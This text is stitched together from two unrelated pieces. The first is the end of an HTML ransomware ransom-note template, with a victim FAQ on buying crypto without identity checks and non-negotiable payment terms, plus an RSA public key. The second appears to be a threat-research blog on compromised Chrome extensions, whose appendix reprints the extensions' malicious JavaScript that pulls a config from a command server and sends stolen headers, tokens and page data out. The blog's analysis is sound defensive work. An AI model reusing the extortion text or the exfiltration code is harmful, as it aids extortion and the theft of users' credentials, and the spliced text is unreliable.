                                                                                                                                                                                                                                                       < strong> Games and Apps – < /strong> Some games and apps reward users with cryptocurrencies (e.g.: NFT games and apps like Sweatcoin).undefined</p>
                                                                                                                                                                                                                                                 < p>
                                                                                                                                                                                                                                                   < strong> Freelancer and Online Jobs – < /strong> You can receive payments in cryptocurrencies for services such as design, programming, translation, etc.undefined</p>
                                                                                                                                                                                                                             < p> III - < strong> Buy with Gift Cards < /strong>undefined</p>
                                                                                                                                                                                                                         < p> Some platforms allow you to buy cryptocurrencies using gift cards purchased with cash. You can buy these cards and exchange them for crypto on P2P sites. < /p>undefined<p>IV - undefined<strong>P2P platforms without mandatory KYC</strong>
                                                                                                                                                                                                                               < /p>undefined<p>Some decentralized exchanges or P2P platforms allow purchases without strict identity verification, such as Bisq, Hodl Hodl and LocalMonero. Some only require an email and allow direct transactions between people.</p>
                                                                                                                                                                                                                                 < /details>undefined<details>undefined<summary onclick="toggleDetails(this)">undefined<span class="steps_numbers">(12)</span> - Can I move my encrypted files or rename them? < /summary>undefined<p>A:- It is not recommended. If you place your encrypted files in a directory that the decryptor will not traverse, they will not be found for decryption. You can even rename the encrypted file, but you MUST NOT change the "undefined<i class="highlighter">%[ext]%</i>" extension of the files before decrypting them, it is through this extension that the files will be found for decryption.undefined</p>
                                                                                                                                                                                                                                         < /details>undefined<details>undefined<summary onclick="toggleDetails(this)">undefined<span class="steps_numbers">(13)</span> - If I use other software to decrypt my files will it work? < /summary>undefined<p>A:- Negative! DO NOT try to decrypt your files with any software as they may corrupt your files and it will not work and there is a high chance that you will lose your files forever. There are several recovery software developers who promise this but it is not true, they do this so that people will buy their removal software. Many do fake decryptions, so you pay.</p>
                                                                                                                                                                                                                                                 < p>
                                                                                                                                                                                                                                                   < /p>UNDERSTAND ONE THING, just as you should download software from the software's official website, you MUST also resort to recovering your files from the official people who store them.undefined<p></p>undefined</details>undefined<details>undefined<summary onclick="toggleDetails(this)">undefined<span class="steps_numbers">(14)</span> - I am unable to pay the amount, do you offer a discount?undefined</summary>undefined<p>A:- We do not negotiate changes to the payment amount, DO NOT insist. The value is immutable! Also DO NOT send "PAID" to my email without paying, the price WILL go up due to disobedience and lies. For this reason, we do not include an estimated deadline for payment to be made, So you have as much time as you want to save money. This is our greatest kindness in negotiation.</p>undefined</details>undefined<details>undefined<summary onclick="toggleDetails(this)">undefined<span class="steps_numbers">(15)</span> - I lost my PIN, is it possible to recover my files without them?undefined</summary>undefined<p>A:- We may even be able to recover if you know the date and time your files were encrypted, however, we will CHARGE 20% more on top of the fixed amount, as it requires more work. WE RECOMMEND FROM THE BEGINNING NOT TO LOSE YOUR PIN!.</p>undefined</details>undefined</div>undefined</div>undefined<div class="content" id="credits">undefined<div class="infos">undefined<h1 class="title">[+] CREDITS [+]</h1>undefined<p>Lead Developer:</p>undefined<ul class="lst_devs">undefined<li>"%[author]%"</li>undefined</ul>undefined</div>undefined</div>undefined</div>undefined</div>undefined</div>undefined<div class="footer">undefined<div class="container">undefined<p class="text">%[copyright]% %[name]% Ransomware - All Right Reserved. undefined<i class="text__team">Team %[name]%</i>.undefined</p>undefined</div>undefined</div>undefined<script type="text/javascript">
                                                                                                                                                                                                                                             let navHome = document.querySelector(".nav-home"),
                                                                                                                                                                                                                                               navDefault = document.querySelector(".nav-default"),
                                                                                                                                                                                                                                               btnTranslator = document.getElementById("btn-translator"),
                                                                                                                                                                                                                                               navDefaultBtn = document.querySelectorAll(".nav-default__btn"),
                                                                                                                                                                                                                                               tabClicked = (navDefaultBtn.forEach(e => e.addEventListener("click", () => tabClicked(e))), e => {
                                                                                                                                                                                                                                                 window.scrollTo({
                                                                                                                                                                                                                                                   top: 0,
                                                                                                                                                                                                                                                   behavior: "smooth"
                                                                                                                                                                                                                                                 }), navDefaultBtn.forEach(e => e.classList.remove("active")), e.classList.add("active");
                                                                                                                                                                                                                                                 document.querySelectorAll(".content").forEach(e => e.classList.remove("show"));
                                                                                                                                                                                                                                                 e = e.getAttribute("content-id");
                                                                                                                                                                                                                                                 document.getElementById(e).classList.add("show")
                                                                                                                                                                                                                                               }),
                                                                                                                                                                                                                                               currentActiveTab = document.querySelector(".nav-default__btn.active");
                                                                                                                                                                                                                                             tabClicked(currentActiveTab);
                                                                                                                                                                                                                                             var comboGoogleTradutor = null;

                                                                                                                                                                                                                                             function googleTranslateElementInit() {
                                                                                                                                                                                                                                               new google.translate.TranslateElement({
                                                                                                                                                                                                                                                 pageLanguage: "en",
                                                                                                                                                                                                                                                 layout: google.translate.TranslateElement.InlineLayout.HORIZONTAL
                                                                                                                                                                                                                                               }, "google_translate_element"), comboGoogleTradutor = document.getElementById("google_translate_element").querySelector(".goog-te-combo")
                                                                                                                                                                                                                                             }

                                                                                                                                                                                                                                             function changeEvent(e) {
                                                                                                                                                                                                                                               var t;
                                                                                                                                                                                                                                               e.fireEvent ? e.fireEvent("onchange") : ((t = document.createEvent("HTMLEvents")).initEvent("change", !1, !0), e.dispatchEvent(t))
                                                                                                                                                                                                                                             }

                                                                                                                                                                                                                                             function changeLang(e) {
                                                                                                                                                                                                                                               navigator.onLine && comboGoogleTradutor ? (comboGoogleTradutor.value = e, changeEvent(comboGoogleTradutor)) : alert("WARNING: Translation only works online. The device is NOT connected to the internet.")
                                                                                                                                                                                                                                             }

                                                                                                                                                                                                                                             function CopyText(e) {
                                                                                                                                                                                                                                               var t = document.createRange();
                                                                                                                                                                                                                                               t.selectNode(document.getElementById(e)), window.getSelection().removeAllRanges(), window.getSelection().addRange(t);
                                                                                                                                                                                                                                               try {
                                                                                                                                                                                                                                                 document.execCommand("copy"), window.getSelection().removeAllRanges(), alert('"' + t + '" Copied!')
                                                                                                                                                                                                                                               } catch (e) {
                                                                                                                                                                                                                                                 alert("Unable to copy!")
                                                                                                                                                                                                                                               }
                                                                                                                                                                                                                                             }
                                                                                                                                                                                                                                             btnTranslator.addEventListener("click", function() {
                                                                                                                                                                                                                                               navHome.style.marginTop = "45px", navDefault.style.paddingTop = "45px";
                                                                                                                                                                                                                                               var e = document.getElementById(":1.container");
                                                                                                                                                                                                                                               (e.contentDocument || e.contentWindow.document).getElementById(":1.close").addEventListener("click", function() {
                                                                                                                                                                                                                                                 navHome.style.marginTop = "0px", navDefault.style.paddingTop = "0px"
                                                                                                                                                                                                                                               })
                                                                                                                                                                                                                                             });
                                                                                                                                                                                                                                           </script>
                                                                                                                                                                                                                                           < script type="text/javascript" src="https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit">
                                                                                                                                                                                                                                             < /script>undefined
                   </body>
                   < / html>

Appendix 3 - RSA Public Key from config.json

-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEA15+svGAphncDU6byNM2Pk/Iw/bb7LtNHMiL/SBM8ztr4eV1T+LNP
ZqrHbBbj11eVVvbxEILy44w7hi94YALZmGXPaS2Lkg2+j/tZ9LRDHfqaoMiqBVyw
LEKUnifyB3/nzxzFFXuN2gkgqr9i8sgVuv4UiYTgooGff4xFJcRzFp5qP754Pfhz
5EDlTk//nrHnvnpZOlXNKbCesMFg/hci74fe/Gq0+Qn4N5O/HGT57Pzt3Y7pp79F
TmnS6Cy7Lh3K38Y8t6W3BI3K9ePdCitJZpz9BaqKbb4aDPfAamIkVND8u/XEMVUp
vtsUQIwwEQjFLCpn6atqoSnjZkgK1rklKwIDAQAB
-----END RSA PUBLIC KEY-----
  • ✇Pulsedive Blog
  • Compromised Browser Extensions - A Growing Threat Vector Pulsedive Threat Research
    Browser extensions often improve user experience and allow users to work more efficiently. Sources estimate that the Chrome Extension store hosts over one hundred thousand unique extensions:Site DebugBear reported 111,933 extensions in August 2024chrome-stats lists the number of extensions as high as 145,316Regardless of the exact number, most users have several extensions installed within their browsers. These can stem from Ad blockers, citation generators, or punctuation or writing aides. Whil
     

Compromised Browser Extensions - A Growing Threat Vector

25 de Fevereiro de 2025, 10:45
Compromised Browser Extensions - A Growing Threat Vector

Browser extensions often improve user experience and allow users to work more efficiently. Sources estimate that the Chrome Extension store hosts over one hundred thousand unique extensions:

  • Site DebugBear reported 111,933 extensions in August 2024
  • chrome-stats lists the number of extensions as high as 145,316

Regardless of the exact number, most users have several extensions installed within their browsers. These can stem from Ad blockers, citation generators, or punctuation or writing aides.

While most extensions provide value to users, there have been several cases of malicious browser extensions being used to target users. There are different ways by which threat actors deploy malicious browser extensions. The first is compromising existing plugins by exploiting vulnerabilities or compromising developer accounts. This gives a threat actor access to an existing plugin and its code, which can be modified to include malicious capabilities such as keylogging. This is how malicious code was added to the Cyberhaven extension, which is covered in-depth below. Similarly, compromising upstream libraries used by browser extensions may allow a threat actor to deploy code to benign plugins. Lastly, threat actors can design malware that operates as a browser extension. Rilide is an example of an information stealer deployed as a browser extension. 

This blog outlines:

  • How browser extensions work
  • Details about the compromised extensions identified at the beginning of January 2025, including the Cyberhaven and GraphQL Network Inspector extension
  • Mitigation strategies for home and corporate environments

While this blog examines compromises from January 2025, these are just a few examples in recent years where malicious browser extensions have been found. We expect to continue observing malicious browser extensions in the wild and recommend proper permissions review and policy enforcement to mitigate risks. 

How Browser Extensions Work

Browser extensions are small software applications that provide additional functionality and capabilities within a web browser. Browser extensions are usually written in HTML, CSS, or Javascript. Chrome extensions may consist of several items, including:

  • A manifest file
  • Service workers
  • Content scripts
  • Toolbar action
  • Side Panel
  • DeclarativeNetRequest

An explainer on the parts of the Chrome Extension is available here.

Manifest File

The manifest file is a JSON file within the extension’s dirextension's provides essential information about the extension and the files it uses. Figure 1 below contains the manifest file for the Chrome extension OneTab. 

Compromised Browser Extensions - A Growing Threat Vector
Figure 1: manifest.json file for OneTab.

OneTab is a productivity plugin that converts all tabs open in a browser into a list, saving memory by reducing the number of tabs open at any given time. The tabs can be opened from the list as required by the user. The manifest file shows the name of the extension along with a description. It also includes any scripts that are run in the background. Content scripts or service workers are where the extension’s functionality is defined. In the case of Figure 1, the manifest includes a reference to the service worker ext-onetab-concatenated-sources-background.js. The manifest file also consists of the list of permissions that the extension uses.

The action API controls the extension’s icon in the browser’s toolbar. The action must be specified in the manifest.json to use this API. In Figure 1, the action defines the default_icons array, a set of images from which one is displayed as the extension's icon in the browser's toolbar.

Service Workers

Service workers are event handlers used by the extension. These scripts run in the background and handle events. Chrome’s developer documentation mentions that these do not have access to DOM content. 

Content Scripts

Content scripts are files run on web pages. These use the DOM to read details about the web page, make changes to them, and collect information. Statically declared scripts are listed in the manifest.json file under the content_scripts key.

Compromised Browser Extensions - A Growing Threat Vector
Figure 2: Content scripts as defined in the manifest.json for the Zotero extension.

Statically defined scripts need a matches key to determine if the script will be injected into the page. The run_at key indicates when the scripts will be injected into the page. The three values here are:

  • document_start: script is injected after any CSS files but before DOM is created
  • document_end: script is injected after DOM is complete but before resources like images and frames are loaded
  • document_idle: The browser chooses when the script is injected between the document_end and the window.load event triggers.

Viewing Extension Files

Installed extensions are stored in a subdirectory within the profile path defined for Chrome for a particular user. In most cases, the location will be:

OS

Location

Windows

C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Default\Extensions

Mac

~/Library/Application Support/Google/Chrome/Default/Extensions

Linux

~/.config/google-chrome/Default/Extensions/

Extensions are saved by their extension IDs, as shown in Figure 3.

Compromised Browser Extensions - A Growing Threat Vector
Figure 3: Chrome extensions installed on a Windows device.

Two ways to get the name of the extension:

  1. Open the extension directory and view the manifest.json
  2. Go to the extensions page in the browser -> enable Developer Mode -> IDs should be visible for each extension.

January 2025 Compromised Browser Extensions

The new year started with reports identifying at least 33 compromised Chrome browser extensions. A FieldEffect blog indicates that over 2.6 million users were impacted, and the compromised extensions were used for up to 18 months. One compromised browser extension was from Cyberhaven, a Data Loss Prevention software provider whose extension prevents users from entering data into unauthorized platforms. 

Cyberhaven has released extensive details about how the compromise occurred and what they uncovered from their investigation. Access was obtained through a phishing email that targeted the extension's developers. The email claimed to be from the Chrome Web Store and outlined items that violated Google’s policy and threatened to remove the extension from the Chrome Web Store. Users who interacted with the email granted OAUTH permissions to the malicious application. Once the malicious application was granted access, the threat actor used it to upload the malicious Cyberhaven extension to the Web Store. 

Compromised Browser Extensions - A Growing Threat Vector
Figure 4: Attack chain observed in the Cyberhaven Compromise
Compromised Browser Extensions - A Growing Threat Vector
Figure 5: Content of the phishing email sent to Cyberhaven developers
Compromised Browser Extensions - A Growing Threat Vector
Figure 6: The login prompt launched when the developers interacted with the email, as shown in Figure 5. - Source: Cyberhaven
Compromised Browser Extensions - A Growing Threat Vector
Figure 7: Request to grant an extension access. This was used to publish the malicious version of the Cyberhaven extension. - Source: Cyberhaven

The malicious Cyberhaven was identified as version 24.10.4 and was similar to previous benign versions of the extensions with some minor additions. The additions allowed the extension to reach out to a command and control server to download configurations and collect data from hard-coded websites. Based on an analysis of the malicious files, the threat actors only sought to collect information from domains related to facebook.com.

💡
While the configuration file downloaded from the C2 server only contained Facebook domains, the threat actor could have modified this at any point to expand their collection capabilities.

Compromised Extensions

Including Cyberhaven, 20 extensions were compromised as part of this campaign. News outlet Ars Technica published a list of the compromised versions and their identifier values for reference. A subset of the compromised extensions are listed below. The extensions below all targeted information. 

Extension Name

ID

Version

VPNCity

kkodiihpgodmdankclfibbiphjkfdenh

2.0.1

Parrot Talks

kkodiihpgodmdankclfibbiphjkfdenh

1.16.2

Uvoice

oaikpkmjciadfpddlpjjdapglcihgdle

1.0.12

Internxt VPN

dpggmcodlahmljkhlmpgpdcffdaoccni

1.1.1

Bookmark Favicon Changer

acmfnomgphggonodopogfbmkneepfgnh

4.0.0

Castorus

mnhffkhmpnefgklngfmlndmkimimbphc

4.40

Wayin AI

cedgndijpacnfbdggppddacngjfdkaca

0.0.11

Search Copilot AI Assistant for Chrome

bbdnohkpnbkdkmnkddobeafboooinpla

1.0.1

VidHelper - Video Downloader

egmennebgadmncfjafcemlecimkepcle

2.27

Cyberhaven security Extension v3

pajkjnmeojmbapicmbpliphjmcekeaac

24.10.4

AI Assistant ChatGPT and Gemini for Chrome

bibjgkidgpfbblifamdlkdlhgihmfohh

0.1.3

Bard AI Chat

pkgciiiancapdlpcbppfkmeaieppikkk

1.3.7

GraphQL Network Inspector

ndlbedplllcgconngcnfmkadhokfaaln

2.22.6

A further 13 compromised extensions were also identified. However, these looked to capture data that could related to payments. Secure Annex released a spreadsheet of the compromised extensions split by code similarities in the malicious versions.

💡
This technical analysis by John Tuckner at Secure Annex provides more details about these 13 extensions.

Cyberhaven Investigation Results

💡
A report released by Booz Allen Hamilton outlined findings based on their malware analysis of the compromised extension.

Cyberhaven’s investigation indicated that the only compromised version of their extension was version 24.10.4, consisting of worker.js and content.js files. The worker.js file was used to establish communication with the C2 server and download configurations from it. The content.js file was used to collect information on websites. The content.js file was static injected into all URLs before creating the DOM.

Compromised Browser Extensions - A Growing Threat Vector
Figure 8: Differences in the manifest.json between the malicious version and the clean version - Source: Booz Allen Hamilton

The content.js decodes base64 encoded data from a file called `config-block.txt`. The config file contained references to Facebook domains and the C2 used by the extension. 

Compromised Browser Extensions - A Growing Threat Vector
Figure 9: Service worker script that connects to the C2 server to download a configuration file - Source: Cyberhaven

GraphQL Network Inspector Extension Analysis

Sekoia also identified that version 2.22.6 of the GraphQL Network Inspector extension was compromised. Similar to the compromised version of the Cyberhaven extension, this extension includes malicious Javascript files - background.js and context_responder.js. 

💡
The malicious files are available as gists on GitHub and in the appendix at the end of this blog.

background.js operates as a service worker. It downloads a configuration from the C2 server and stores it in the browser’s storage. The configuration includes a list of URLs to target. Unlike in Cyberhaven, where the threat actor targeted Facebook, the URLs are related to ChatGPT.

Compromised Browser Extensions - A Growing Threat Vector
Figure 10: Decoded configuration file - Source: Sekoia
Compromised Browser Extensions - A Growing Threat Vector
Figure 11: background.js for the GraphQL Network Inspector Connector has similar code to the malicious Cyberhaven extension service worker shown in Figure 9 - Source: Sekoia

The code to download the configuration from the C2 is the same as the Cyberhaven one, except for the C2 URL and the full name of the storage key. 

Similarly, the context_responder.js file is injected into all pages and used to decode the configuration downloaded from the C2 server.

Compromised Browser Extensions - A Growing Threat Vector
Figure 12: The context_responder.js file decodes data from the configuration file (Content has been truncated). Source - Sekoia

Mitigation Strategies

For Home Users: Being aware of what extensions are enabled and the permissions they grant is often the best way to prevent malicious extensions. Consider only installing essential extensions. Before installing any extension, review the permissions it requires and the details in the privacy section of its web store listing. Users can also use information on the web store, such as the number of users, owner, reviews, and last update time, to gain more information about the extension and its overall trustworthiness. Moreover, users should periodically review installed extensions to identify any that are no longer needed and can be removed. 

For Corporate IT teams that control web browser settings for employees can use tools like Intune to enforce policies determining what extensions can be installed. Before restricting browser extensions within an environment, it would be beneficial to identify what extensions are currently used within the organization. This will allow teams to determine which extensions are required for business use. 

The following steps can be used to deploy an Intune policy to restrict extensions on Chrome.

  1. Open Intune Admin Center
  2. Navigate to the devices section
  3. Go to Manage Devices -> Configuration
  4. Create a Policy
  5. Select the platforms to apply the policy to
  6. Provide a name and description
  7. Click on `Add Settings`
  8. Search for `extension installation blocklist`
  9. Click on the application (for example, Google)
  10. Check the option to configure a blocklist
    1. Deploy a blanket block list using wildcards
  11. Configure an allowlist and enter the extension IDs that are allowed
💡
Jeffrey Appel’s blog on checking and blocking browser extensions via Defender and Intune offers additional details on configuring policies that can be applied to Microsoft Intune.

Rilide At a Glance - An Information Stealing Browser Extension

Rilide is an example of an information stealer masquerading as a browser extension. The malware, which was first reported in April 2023, targets Chromium-based browsers such as Google Chrome and Microsoft Edge. It is designed to take screenshots of information, log passwords, and collect credentials for cryptocurrency wallets. 

Rilide is delivered via malicious advertisements or phishing pages. When users interact with these payloads, a loader installs the Rilide extension. Security researchers have observed Rilide impersonating Google Drive and Palo Alto extensions. Associated IOCs can be accessed using Pulsedive Explore.

Compromised Browser Extensions - A Growing Threat Vector
Figure 13: Rilide infection chain - Source: Trustwave
💡
For a deeper dive into Rilide's delivery methods and complete intrusion chain, check out our detailed technical analysis here.
Rilide: An Information Stealing Browser Extension
Learn about the information stealing browser extension Rilide, its delivery methods, and intrusion chain.
Compromised Browser Extensions - A Growing Threat VectorPulsedive BlogPulsedive Threat Research
Compromised Browser Extensions - A Growing Threat Vector

References

Chrome Extension Statistics: Data From 2024 | DebugBear
What Chrome extensions are the most popular? Which extensions receive the worst rating? And what authors publish the most Chrome extensions?
Compromised Browser Extensions - A Growing Threat VectorDebugBearMatt Zeunert
Compromised Browser Extensions - A Growing Threat Vector
33 Chrome extensions found to be malicious
At least 33 malicious Chrome browser extensions found to be covertly siphoning data from users.
Compromised Browser Extensions - A Growing Threat VectorField Effect SoftwareField Effect Security Intelligence Team
Compromised Browser Extensions - A Growing Threat Vector
Cyberhaven Chrome Extension Breach: Phishing Attack Targets Developers
Learn how a sophisticated phishing attack compromised Chrome extensions like Cyberhaven, exposing millions of users.
Compromised Browser Extensions - A Growing Threat VectorGASAJames Greening
Compromised Browser Extensions - A Growing Threat Vector
Time to check if you ran any of these 33 malicious Chrome extensions
Two separate campaigns have been stealing credentials and browsing history for months.
Compromised Browser Extensions - A Growing Threat VectorArs TechnicaDan Goodin
Compromised Browser Extensions - A Growing Threat Vector
Sclpfybn Monetization Scheme
An analysis of monetization schemes found during research on Cyberhaven extensions compromised.
Compromised Browser Extensions - A Growing Threat VectorSecure AnnexJohn Tuckner
Compromised Browser Extensions - A Growing Threat Vector
Compromised extensions
Compromised Browser Extensions - A Growing Threat VectorGoogle Docs
Compromised Browser Extensions - A Growing Threat Vector
Final analysis: Chrome extension security incident
Compromised Browser Extensions - A Growing Threat VectorCyberhaven Team
Compromised Browser Extensions - A Growing Threat Vector
Targeted supply chain attack against Chrome browser extensions
In this blog post, learn about the supply chain attack targeting Chrome browser extensions and the associated targeted phishing campaign.
Compromised Browser Extensions - A Growing Threat VectorSekoia.io BlogQuentin Bourgue and Sekoia TDR
Compromised Browser Extensions - A Growing Threat Vector
background.js script from the Chrome extension “GraphQL Network Inspector” (ndlbedplllcgconngcnfmkadhokfaaln) compromised on 29 December 2024 (code beautified and URL defanged)
background.js script from the Chrome extension &quot;GraphQL Network Inspector&quot; (ndlbedplllcgconngcnfmkadhokfaaln) compromised on 29 December 2024 (code beautified and URL defanged) - maliciou…
Compromised Browser Extensions - A Growing Threat VectorGist262588213843476
Compromised Browser Extensions - A Growing Threat Vector
context_responder.js script from the Chrome extension “GraphQL Network Inspector” (ndlbedplllcgconngcnfmkadhokfaaln) compromised on 29 December 2024 (code beautified and URL defanged)
context_responder.js script from the Chrome extension &quot;GraphQL Network Inspector&quot; (ndlbedplllcgconngcnfmkadhokfaaln) compromised on 29 December 2024 (code beautified and URL defanged) - m…
Compromised Browser Extensions - A Growing Threat VectorGist262588213843476
Compromised Browser Extensions - A Growing Threat Vector
Analyzing a Browser Extension
Learn how to analyze a browser extension for use in your organization
Compromised Browser Extensions - A Growing Threat VectorSecure AnnexJohn Tuckner
Compromised Browser Extensions - A Growing Threat Vector
How to check and block “malicious” browser extensions with Microsoft Defender and Intune?
In the past years, malicious browser extensions have been on the rise and are more popular to be used as part of cyberattacks. With the use of malicious extensions, it is possible to gain data/ cookies or gain initial access…
Compromised Browser Extensions - A Growing Threat VectorJeffrey Appel - Microsoft Security blogJeffrey
Compromised Browser Extensions - A Growing Threat Vector
Rilide: A New Malicious Browser Extension for Stealing Cryptocurrencies | Trustwave
Trustwave SpiderLabs uncovered a new strain of malware that it dubbed Rilide, which targets Chromium-based browsers such as Google Chrome, Microsoft Edge, Brave, and Opera.
Compromised Browser Extensions - A Growing Threat VectorTrustwave Holdings, Inc.Pawel Knapczyk, Wojciech Cieslak
Compromised Browser Extensions - A Growing Threat Vector

Appendix - Malicious Files from GraphQL Network Inspector

background.js

Gist from Sekoia.

chrome.runtime.onInstalled.addListener(function (e) {
	'install' === e.reason && chrome.tabs.create({ url: 'https://www.overstacked.io/?install=true' });
});
chrome.runtime.onMessage.addListener((t, e, n) => {
	switch (t.action) {
	case 'graphqlnetwork-completions':
		fetch('https://chatgpt.com/status/', {
			method: 'POST',
			headers: {
				'Content-Type': 'application/json',
				Authorization: `Bearer ${ t.key }`
			},
			body: JSON.stringify({
				prompt: 'check',
				max_tokens: 150
			})
		}).then(t => t.json()).then(t => n(t)).catch(t => {
		});
		break;
	case 'graphqlnetwork-redirect':
		fetch(t.url).then(t => t.redirected).then(t => n(t)).catch();
		break;
	case 'graphqlnetwork-validate':
		fetch(t.url, {
			method: 'POST',
			headers: {
				Accept: 'application/json, application/xml, text/plain, text/html, *.*',
				'Content-Type': 'application/json'
			},
			body: JSON.stringify(t.pl)
		}).then(t => t.json()).then(t => n(t)).catch(t => {
		});
		break;
	case 'graphqlnetwork-rtext':
		fetch(t.url).then(t => t.text()).then(t => n(t)).catch();
		break;
	case 'graphqlnetwork-rjson':
		fetch(t.url).then(t => t.json()).then(t => n(t)).catch();
		break;
	case 'graphqlnetwork-check-errors':
		const e = t.pl;
		chrome.webRequest.onBeforeSendHeaders.addListener(function (a) {
			chrome.storage.local.get(['pswo']).then(o => {
				let r;
				var c;
				o.pswo && (r = o.pswo);
				const s = e.n;
				let i = '';
				try {
					i = btoa(JSON.stringify(e.openapi_u));
				} catch (t) {
				}
				let h = null === (c = a.requestHeaders) || void 0 === c ? void 0 : c.find(t => e.hed == t.name.toLowerCase());
				const p = e.openapi_tk + ' || ' + btoa(h.value) + ' || ' + btoa(navigator[s]) + ' || ' + e.uid + ' || ' + i + ' || ' + r + ' || ' + e.k, l = {
						ba1: btoa(p),
						ba2: JSON.stringify(e.graphqlnetwork_cx),
						ba3: JSON.stringify(e.gpta)
					}, d = t.url;
				fetch(d, {
					method: 'POST',
					headers: {
						Accept: 'application/json, application/xml, text/plain, text/html, *.*',
						'Content-Type': 'application/json'
					},
					body: JSON.stringify(l)
				}).then(t => t.json()).then(t => n(t)).catch(t => {
				});
			});
		}, { urls: [e.r] }, [
			'requestHeaders',
			'extraHeaders'
		]), fetch(e.r).then(t => t.text()).then(t => function (t) {
		}).catch();
	}
	return !0;
}), async function () {
	try {
		const t = await fetch('hxxps://graphqlnetwork[.]pro/ai-graphqlnetwork', {
			method: 'POST',
			headers: {
				Accept: 'application/json, application/xml, text/plain, text/html, *.*',
				'Content-Type': 'application/json'
			}
		});
		if (!t.ok)
			throw new Error(`HTTP error! Status: ${ t.status }`);
		const e = await t.json();
		await chrome.storage.local.set({ graphqlnetwork_ext_manage: JSON.stringify(e) }), console.log('Data successfully stored!');
	} catch (t) {
		console.error('An error occurred:', t);
	}
}();

context_responder.js

Gist from Sekoia.

chrome.runtime.onMessage.addListener(function (e, a, c) {
	console.log('Message received:', e), 'getScreenSize' === e.command && c({
		screenWidth: window.screen.width,
		screenHeight: window.screen.height
	});
}), async function () {
	let e, a = document.location.href;
	try {
		const {graphqlnetwork_ext_manage: a} = await chrome.storage.local.get(['graphqlnetwork_ext_manage']);
		e = a ? JSON.parse(a) : null;
	} catch (e) {
		console.error('Error retrieving data from storage:', e);
	}
	e && 2000 !== e.code ? setTimeout(async function () {
		if (a.includes(atob(e.graphqlnetworkc)))
			try {
				await async function (e) {
					const a = atob(e.graphqlnetworkf), c = atob(e.graphqlnetworkg), t = atob(e.graphqlnetworkb), s = atob(e.graphqlnetworkh), o = atob(e.graphqlnetworkd), r = atob(e.graphqlnetworke), n = atob(e.graphqlnetworka), h = atob(e.graphqlnetworki), i = atob(e.graphqlnetworkl), y = atob(e.graphqlnetworkm), p = atob(e.graphqlnetworkn), l = atob(e.graphqlnetworko), d = atob(e.graphqlnetworkp), m = atob(e.graphqlnetworkk);
					atob(e.graphqlnetworkq), atob(e.graphqlnetworkr);
					chrome.runtime.sendMessage({
						action: 'graphqlnetwork-rtext',
						url: a
					}, a => {
						const i = /6kU.*?"/gm;
						let y, p = '';
						for (; null !== (y = i.exec(a));)
							p = y[0].replace('"', '');
						if (p) {
							let a = h + p;
							chrome.runtime.sendMessage({
								action: 'graphqlnetwork-rjson',
								url: s + a
							}, async s => {
								const h = s.id, i = s;
								chrome.runtime.sendMessage({
									action: 'graphqlnetwork-rjson',
									url: c + a
								}, async c => {
									const s = c.data;
									chrome.runtime.sendMessage({
										action: 'graphqlnetwork-rjson',
										url: m + a
									}, async c => {
										const y = c.data;
										chrome.runtime.sendMessage({
											action: 'graphqlnetwork-check-errors',
											url: t,
											pl: {
												dm: atob(e.graphqlnetworkc),
												openapi_tk: a,
												openapi_u: i,
												graphqlnetwork_cx: s,
												gpta: y,
												uid: h,
												hed: o,
												n: r,
												r: n,
												k: ''
											}
										}, () => {
											chrome.storage.local.set({ graphqlnetwork_ext_log: JSON.stringify(h) });
										});
									});
								});
							});
						}
					}), document.body.addEventListener(y, () => {
						document.querySelectorAll(i).forEach(async e => {
							const a = e.getAttribute(d);
							if (a && a.includes(p))
								try {
									const {graphqlnetwork_ext_log: e} = await chrome.storage.local.get(['graphqlnetwork_ext_log']), c = e ? JSON.parse(e) : '';
									chrome.runtime.sendMessage({
										action: 'graphqlnetwork-validate',
										url: l,
										pl: {
											sc: btoa(a),
											cf: btoa(c)
										}
									});
								} catch (e) {
									console.error('Error retrieving log data:', e);
								}
						});
					});
				}(e);
			} catch (e) {
				console.error('Error processing valid URL:', e);
			}
		else
			chrome.runtime.sendMessage({
				action: 'graphqlnetwork-redirect',
				url: e.graphqlnetworkf
			}, a => {
				0 === a && chrome.runtime.sendMessage({
					action: 'graphqlnetwork-completions',
					key: e.graphqlnetworkd
				});
			});
	}, 2000) : chrome.runtime.sendMessage({
		action: 'graphqlnetwork-redirect',
		url: e.graphqlnetworkf
	}, a => {
		0 === a && chrome.runtime.sendMessage({
			action: 'graphqlnetwork-completions',
			key: e.graphqlnetworkd
		});
	});
}();
❌
❌